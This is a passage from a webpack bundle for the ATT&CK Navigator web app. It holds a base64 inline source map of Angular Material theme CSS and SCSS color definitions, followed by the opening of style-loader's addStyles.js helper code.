QtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGFiZWwuY2RrLXByb2dyYW0tZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGluay5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGluay5jZGstcHJvZ3JhbS1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1wcmltYXJ5IC5tYXQtdGFiLWxhYmVsLmNkay1rZXlib2FyZC1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1wcmltYXJ5IC5tYXQtdGFiLWxhYmVsLmNkay1wcm9ncmFtLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKSwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGluay5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtcHJpbWFyeSAubWF0LXRhYi1saW5rLmNkay1wcm9ncmFtLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMTk3LDIwMiwyMzMsLjMpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItaGVhZGVyLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24sLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtcHJpbWFyeSAubWF0LXRhYi1saW5rcywubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItaGVhZGVyLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtcHJpbWFyeSAubWF0LXRhYi1oZWFkZXItcGFnaW5hdGlvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGlua3N7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1fS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGFiZWwsLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtcHJpbWFyeSAubWF0LXRhYi1saW5rLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtcHJpbWFyeSAubWF0LXRhYi1sYWJlbCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGlua3tjb2xvcjojZmZmfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGFiZWwubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1wcmltYXJ5IC5tYXQtdGFiLWxpbmsubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGFiZWwubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItbGluay5tYXQtdGFiLWRpc2FibGVke2NvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbntib3JkZXItY29sb3I6I2ZmZn0ubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1wcmltYXJ5IC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb24sLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1wcmltYXJ5IC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb257Ym9yZGVyLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXByaW1hcnkgLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjEyKX0ubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItbGFiZWwuY2RrLWtleWJvYXJkLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKSwubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItbGFiZWwuY2RrLXByb2dyYW0tZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1saW5rLmNkay1rZXlib2FyZC1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxpbmsuY2RrLXByb2dyYW0tZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxhYmVsLmNkay1rZXlib2FyZC1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItbGFiZWwuY2RrLXByb2dyYW0tZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxpbmsuY2RrLWtleWJvYXJkLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKSwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1saW5rLmNkay1wcm9ncmFtLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDEyOCwxNzEsLjMpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1oZWFkZXIsLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1saW5rcywubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1oZWFkZXIsLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24sLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItbGlua3N7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1sYWJlbCwubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItbGluaywubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1sYWJlbCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1saW5re2NvbG9yOiNmZmZ9Lm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxhYmVsLm1hdC10YWItZGlzYWJsZWQsLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxpbmsubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1sYWJlbC5tYXQtdGFiLWRpc2FibGVkLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWxpbmsubWF0LXRhYi1kaXNhYmxlZHtjb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LC40KX0ubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC1hY2NlbnQgLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1oZWFkZXItcGFnaW5hdGlvbi1jaGV2cm9ue2JvcmRlci1jb2xvcjojZmZmfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXRhYi1oZWFkZXItcGFnaW5hdGlvbi1kaXNhYmxlZCAubWF0LXRhYi1oZWFkZXItcGFnaW5hdGlvbi1jaGV2cm9uLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb257Ym9yZGVyLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtYWNjZW50IC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LC4xMil9Lm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1sYWJlbC5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGFiZWwuY2RrLXByb2dyYW0tZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGluay5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGluay5jZGstcHJvZ3JhbS1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWxhYmVsLmNkay1rZXlib2FyZC1mb2N1c2VkOm5vdCgubWF0LXRhYi1kaXNhYmxlZCksLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWxhYmVsLmNkay1wcm9ncmFtLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKSwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGluay5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoLm1hdC10YWItZGlzYWJsZWQpLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1saW5rLmNkay1wcm9ncmFtLWZvY3VzZWQ6bm90KC5tYXQtdGFiLWRpc2FibGVkKXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDIwNSwyMTAsLjMpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLC5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24sLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1saW5rcywubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1oZWFkZXItcGFnaW5hdGlvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGlua3N7YmFja2dyb3VuZC1jb2xvcjojZjQ0MzM2fS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGFiZWwsLm1hdC10YWItZ3JvdXAubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1saW5rLC5tYXQtdGFiLW5hdi1iYXIubWF0LWJhY2tncm91bmQtd2FybiAubWF0LXRhYi1sYWJlbCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGlua3tjb2xvcjojZmZmfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGFiZWwubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWxpbmsubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGFiZWwubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGluay5tYXQtdGFiLWRpc2FibGVke2NvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbntib3JkZXItY29sb3I6I2ZmZn0ubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb24sLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb257Ym9yZGVyLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjEyKX0ubWF0LXRvb2xiYXJ7YmFja2dyb3VuZDojZjVmNWY1O2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LXRvb2xiYXIubWF0LXByaW1hcnl7YmFja2dyb3VuZDojM2Y1MWI1O2NvbG9yOiNmZmZ9Lm1hdC10b29sYmFyLm1hdC1hY2NlbnR7YmFja2dyb3VuZDojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC10b29sYmFyLm1hdC13YXJue2JhY2tncm91bmQ6I2Y0NDMzNjtjb2xvcjojZmZmfS5tYXQtdG9vbGJhciAubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZSwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZSwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZXtiYWNrZ3JvdW5kLWNvbG9yOmN1cnJlbnRDb2xvcn0ubWF0LXRvb2xiYXIgLm1hdC1mb2N1c2VkIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLC5tYXQtdG9vbGJhciAubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1zZWxlY3QtYXJyb3csLm1hdC10b29sYmFyIC5tYXQtc2VsZWN0LWFycm93LC5tYXQtdG9vbGJhciAubWF0LXNlbGVjdC12YWx1ZXtjb2xvcjppbmhlcml0fS5tYXQtdG9vbGJhciAubWF0LWlucHV0LWVsZW1lbnR7Y2FyZXQtY29sb3I6Y3VycmVudENvbG9yfS5tYXQtdG9vbHRpcHtiYWNrZ3JvdW5kOnJnYmEoOTcsOTcsOTcsLjkpfS5tYXQtdHJlZXtiYWNrZ3JvdW5kOiNmZmZ9Lm1hdC1uZXN0ZWQtdHJlZS1ub2RlLC5tYXQtdHJlZS1ub2Rle2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LXNuYWNrLWJhci1jb250YWluZXJ7Y29sb3I6cmdiYSgyNTUsMjU1LDI1NSwuNyk7YmFja2dyb3VuZDojMzIzMjMyO2JveC1zaGFkb3c6MCAzcHggNXB4IC0xcHggcmdiYSgwLDAsMCwuMiksMCA2cHggMTBweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCAxOHB4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtc2ltcGxlLXNuYWNrYmFyLWFjdGlvbntjb2xvcjojZmY0MDgxfSIsIiRjb2x1bW4taG92ZXItY29sb3I6IHJnYigyMzUsIDIzNSwgMjM1KTtcbiRkaXNhYmxlZC1jb2xvcjogZGFya2VuKCRjb2x1bW4taG92ZXItY29sb3IsIDIwJSk7XG4kY2VsbC1oaWdobGlnaHQtY29sb3I6IHJnYig5NiwgMTk3LCAyNTUpO1xuJGhvdmVyLWNlbGwtZm9udC1jb2xvcjogcmdiKDAsIDAsIDApO1xuJHBhbmVsLWRhcms6ICNkZGQ7XG4kcGFuZWwtbGlnaHQ6IGxpZ2h0ZW4oJHBhbmVsLWRhcmssIDglKTtcbiR0YWItdGV4dC1jb2xvcjogIzU1NTtcbiRidXR0b24tZGFyazogI2I4YjhiODtcblxuLy8gQVRUJkNLIEJyYW5kIGNvbG9yc1xuJGF0dGFjay1jb2xvcnM6IChcbiAgICBhdHRhY2stb3JhbmdlOiAjYzYzZjFmLFxuICAgIGF0dGFjay1ibHVlOiAjMDYyZjRmXG4pO1xuXG4vKipcbiAqIENvbG9ycyB1c2VkIGFjcm9zcyB0aGUgTmF2aWdhdG9yLiBTaGFyZWQgYnkgdGhlIEFUVCZDSyBXZWJzaXRlLlxuICogRm9yIGVhY2ggY29sb3ItcGFpcjpcbiAqICAgLSBcImNvbG9yXCIgcmVmZXJzIHRvIHRoZSBjb2xvciBpdHNlbGZcbiAqICAgLSBcIm9uLWNvbG9yXCIgcmVmZXJzIHRvIHRoZSBtb3N0IHJlYWRhYmxlIHRleHQtY29sb3IgdG8gYXBwZWFyIG9uIHRvcCBvZiB0aGUgY29sb3IuIFxuICogTm90ZTogc29tZSBjb2xvcnMgZG9uJ3QgZGVmaW5lIG9uLWNvbG9ycy4gVGhpcyBpcyBiZWNhdXNlLCBmb3IgdGhlc2UgY29sb3JzLCB0aGV5IGFyZW4ndCBpbnRlbmRlZCB0b1xuICogYXBwZWFyIHdpdGggaW5uZXIgY29udGVudC4gRm9yIGV4YW1wbGUsIFwibGlua1wiIGlzIG9ubHkgaW50ZW5kZWQgdG8gYmUgdXNlZCBmb3IgbGluayB0ZXh0LCB3aGljaCBpbmhlcmVudGx5XG4gKiBjYW5ub3QgaGF2ZSBpbm5lciB0ZXh0LlxuICovXG4kY29sb3JzOiAoXG4gICAgcHJpbWFyeTogKGNvbG9yOiBtYXAtZ2V0KCRhdHRhY2stY29sb3JzLCBhdHRhY2stb3JhbmdlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgaGVhZGVyIGFuZCBzb21lIG5hdiBlbGVtZW50c1xuICAgIHNlY29uZGFyeTogKGNvbG9yOiBtYXAtZ2V0KCRhdHRhY2stY29sb3JzLCBhdHRhY2stYmx1ZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGZvb3RlciBhbmQgc29tZSBidXR0b25zXG4gICAgYm9keTogKGNvbG9yOiB3aGl0ZSwgb24tY29sb3I6ICMzOTQzNEMpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL3ByaW1hcnkgcGFnZSBib2R5XG4vLyAgYm9keTogKGNvbG9yOiByZ2IoNTAsIDUwLCA1MCksIG9uLWNvbG9yOiAjY2RjZGNkKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9leGFtcGxlIG9mIGEgZGFyayB0aGVtZSBmb3IgdGhlIHNpdGVcbiAgICBsaW5rOiAoY29sb3I6ICM0ZjdjYWMpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9oeXBlcmxpbmtzXG4gICAgbWF0cml4LWhlYWRlcjogKGNvbG9yOiBncmF5LCBvbi1jb2xvcjogd2hpdGUpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2NvbG9yIG9mIG1hdHJpeCBoZWFkZXJzXG5cbiAgICAvL2Jvb3RzdHJhcCBjb2xvcnNcbiAgICBib290c3RyYXAtcHJpbWFyeTogKGNvbG9yOiAjNDI4YmNhLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1zdWNjZXNzOiAoY29sb3I6ICM1Y2I4NWMsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLWRhbmdlcjogKGNvbG9yOiAjZDk1MzRmLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC13YXJuaW5nOiAoY29sb3I6ICNmMGFkNGUsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLWluZm86IChjb2xvcjogIzViYzBkZSwgb24tY29sb3I6IHdoaXRlKSxcblxuICAgIC8vVE9ETyBkZXByZWNhdGUgd2l0aCBzZWFyY2ggcGFnZSBjaGFuZ2VzXG4gICAgc2VhcmNoLXJlc3VsdHMtYm9yZGVyOiAoY29sb3I6IGJsYWNrLCBvbi1jb2xvcjogbGlnaHRncmV5KSwgIFxuKTtcblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBjb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIGNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcImNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGdldCBhbiBhbHRlcm5hdGUgdmVyc2lvbiBvZiB0aGUgY29sb3IsIGZvciBwYXR0ZXJuaW5nXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBkYXJrLCB0aGUgYWx0ZXJuYXRlIHdpbGwgYmUgc2xpZ2h0bHkgbGlnaHRlci5cbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGxpZ2h0LCB0aGUgYWx0ZXJuYXRlIHdpbGwgYmUgc2xpZ2h0bHkgZGFya2VyLlxuLy8gY29udHJhc3QsIGFuIG9wdGlvbmFsIGFyZ3VtZW50LCBtdWx0aXBsaWVzIHRvIGNyZWF0ZSBhIG1vcmUgZGlzdGludCBvciBzaW1pbGFyIGNvbG9yLiA+MSBpcyBtb3JlIGRpc3RhbnQsIDwxIGlzIG1vcmUgc2ltaWxhci5cbkBmdW5jdGlvbiBjb2xvci1hbHRlcm5hdGUoJG5hbWUsICRjb250cmFzdDogMSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksICR3ZWlnaHQ6ICRjb250cmFzdCAqIDUlKTsgXG59XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgb24tY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBvbi1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJvbi1jb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZW1waGFzaXplZCB2ZXJzaW9uIG9mIHRoZSBvbi1jb2xvci5cbi8vIFRoZSBlbXBoYXNpemVkIG9uLWNvbG9yIGlzIGxlc3MgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1lbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBvbi1jb2xvcigkbmFtZSkpOyBcbn1cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGRlZW1waGFzaXplZCB2ZXJzaW9uIG9mIHRoZSBvbi1jb2xvci5cbi8vIFRoZSBkZWVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbW9yZSBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWRlZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChjb2xvcigkbmFtZSksIG9uLWNvbG9yKCRuYW1lKSwgMjUlKTsgXG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgY29tcHV0ZSBhIGJvcmRlciBjb2xvciBmb3IgdGhlIGNvbG9yXG5AZnVuY3Rpb24gYm9yZGVyLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgMTIuNSUpOyBcbiAgICAvLyBAcmV0dXJuIHJnYmEoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIDAuMTI1KTtcbn1cbiJdfQ== */", '', '']] + +/***/ }), + +/***/ "./node_modules/style-loader/lib/addStyles.js": +/*!****************************************************!*\ + !*** ./node_modules/style-loader/lib/addStyles.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +/* + MIT License http://www.opensource.org/licenses/mit-license.php + Author Tobias Koppers @sokra +*/ + +var stylesInDom = {}; + +var memoize = function (fn) { + var memo; + + return function () { + if (typeof memo === "undefined") memo = fn.apply(this, arguments); + return memo; + }; +}; + +var isOldIE = memoize(function () { + // Test for IE <= 9 as proposed by Browserhacks + // @see http://browserhacks.com/#hack-e71d8692f65334173fee715c222cb805 + // Tests for existence of standard globals is to allow style-loader + // to operate correctly into non-standard environments + // @see https://github.com/webpack-contrib/style-loader/issues/177 + return window && document && document.all && !window.atob; +}); + +var getTarget = function (target, parent) { + if (parent){ + return parent.querySelector(target); + } + return document.querySelector(target); +}; + +var getElement = (function (fn) { + var memo = {}; + + return function(target, parent) { + // If passing function in options, then use it for resolve "head" element. + // Useful for Shadow Root style i.e + // { + // insertInto: function () { return document.querySelector("#foo").shadowRoot } + // } + if (typeof target === 'function') { + return target(); + } + if (typeof memo[target] === "undefined") { + var styleTarget = getTarget.call(this, target, parent); + // Special case to return head of iframe instead of iframe itself + if (window.HTMLIFrameElement && styleTarget instanceof window.HTMLIFrameElement) { + try { + // This will throw an exception if access to iframe is blocked + // due to cross-origin restrictions + styleTarget = styleTarget.contentDocument.head; + } catch(e) { + styleTarget = null; + } + } + memo[target] = styleTarget; + } + return memo[target] + }; +})(); + +var singleton 